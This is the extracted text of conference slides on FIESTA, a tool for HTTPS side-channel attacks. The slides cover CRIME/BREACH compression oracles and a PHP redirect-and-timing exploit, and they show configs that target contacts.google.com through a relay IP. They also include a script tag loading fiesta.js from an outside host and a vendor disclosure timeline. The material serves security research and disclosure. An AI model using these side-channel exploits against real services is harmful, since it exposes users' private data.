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$ echo "token=BEEFCAFE1337 token=A" | gzip | wc -c
44

$ echo "token=BEEFCAFE1337 token=B" | gzip | wc -c
43

$ echo "token=BEEFCAFE1337 token=BA" | gzip | wc -c
44

WEB 
SERVER
(HTTPS)

BROWSER

CRIME

BREACH

$ echo "token=BEEFCAFE1337 token=BE" | gzip | wc -c
43

$ echo "token=BEEFCAFE1337 token=BEEFCAFE" | gzip | wc -c
43

$ echo "token=BEEFCAFE1337 token=BEEFCXXX" | gzip | wc -c
46

CRIME, BREACH & FIESTA
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PHP QUICK & DIRTY EXPLOIT

<?php

sleep($_GET['sleep']);

header('Location: https://victim.com/search?query=user%20begins%20' . $_GET['data'] . ');

?>

<body>
<img src="/trick.php?sleep=01&data=a">
<img src="/trick.php?sleep=02&data=b">
<img src="/trick.php?sleep=03&data=c">
<img src="/trick.php?sleep=04&data=d">
<img src="/trick.php?sleep=05&data=e">
<img src="/trick.php?sleep=06&data=f">
<img src="/trick.php?sleep=07&data=g">
<img src="/trick.php?sleep=08&data=h">
<img src="/trick.php?sleep=09&data=i">
<img src="/trick.php?sleep=10&data=j">
<img src="/trick.php?sleep=11&data=k">
[…]
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Hemi Leibowitz @ OWASP AppSec Israel 2015 
Nethanel Gelernter @ Blackhat USA 2016
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Form
Information
Exposed via
Size
Transmitted
Attack

http://github.com/PentesterES/FIESTA

$ sudo fiesta contacts_pentester.yaml
[*] Proxy Server started 0.0.0.0:443
[*] Control Server started 0.0.0.0:80
[*] Please intercept https://contacts.pentester.es
[*] FIESTA is starting...
[*] Testing term "johansson " with charset "0123456789"
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config:
comment: "Please intercept https://contacts.pentester.es"
control: "img"
oracle:  "response"
action:  "relay"
relay_host: "207.154.209.202"
relay_port: 443
url: "https://contacts.pentester.es/search/§1§"

test_delay: 2
term:      "johansson "
charset:   "0123456789"
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What about CORS? var i = 0;
function load_imgs(){

var image = new Image();
image.onload = function(){

document.body.appendChild(image);
if (i++ < urls.length - 1) load_imgs();

};
image.onerror = function(){

if (i++ < urls.length - 1) load_imgs();
}
image.src = urls[i];

}
load_imgs();

BROWSER
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(HTTPS)

Request

HTML



FIESTA: an HTTPS side-channel party
Jose Selvi

What about AJAX?
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What about HTTP/2?
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What about HTTP/2?
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What about HTTP/2?

HTTP/1.1 HTTP/2
HTTP/2
+ FIESTA
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https://hackerone.com/bugs.json?text_query=side%20channel
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config:
comment: "Please intercept https://*.googleusercontent.com"
control: "open"
oracle:  "connections"
action:  "drop"
url: "https://contacts.google.com/search/§1§"
wrong_term: "xxx"

guess_delay: 2
test_delay:  4

term: "wolverine "
charset: "0123456789"
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Google
April 4th -> Sent to Bug Bounty.
April 5th-7th -> Back and forth emails. Browser problem?
April 7th-17th -> Second try. Wont Fix.

HackerOne
April 12th -> Sent to Bug Bounty.
May 5th -> Duplicate from 2 years ago. Wont Fix.
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Facebook
April 12th -> Sent to Bug Bounty.
April 19th- May 2nd -> Back and forth messages. Wont Fix.
May 15th -> Reactivated by Facebook Security Team
June 9th -> Fixed
June 16th -> Rewarded! $$$

Dropbox
April 11th -> Sent to Bug Bounty (HackerOne).
April 11th-17th -> Back and forth questions.
May 2nd -> Accepted & Rewarded! $$
Sept 19th -> Fixed
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BONUS (I): Pop Under techniques
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BONUS (II): Hidden Tabs

<script src=
“http://192.168.1.7/fiesta.js” 
type=”text/javascript”>
</script>



Thanks a lot! Any question?
jose.selvi@prosegur.com

jselvi@pentester.es

@JoseSelvi

This is the abstract title
Jose Selvi


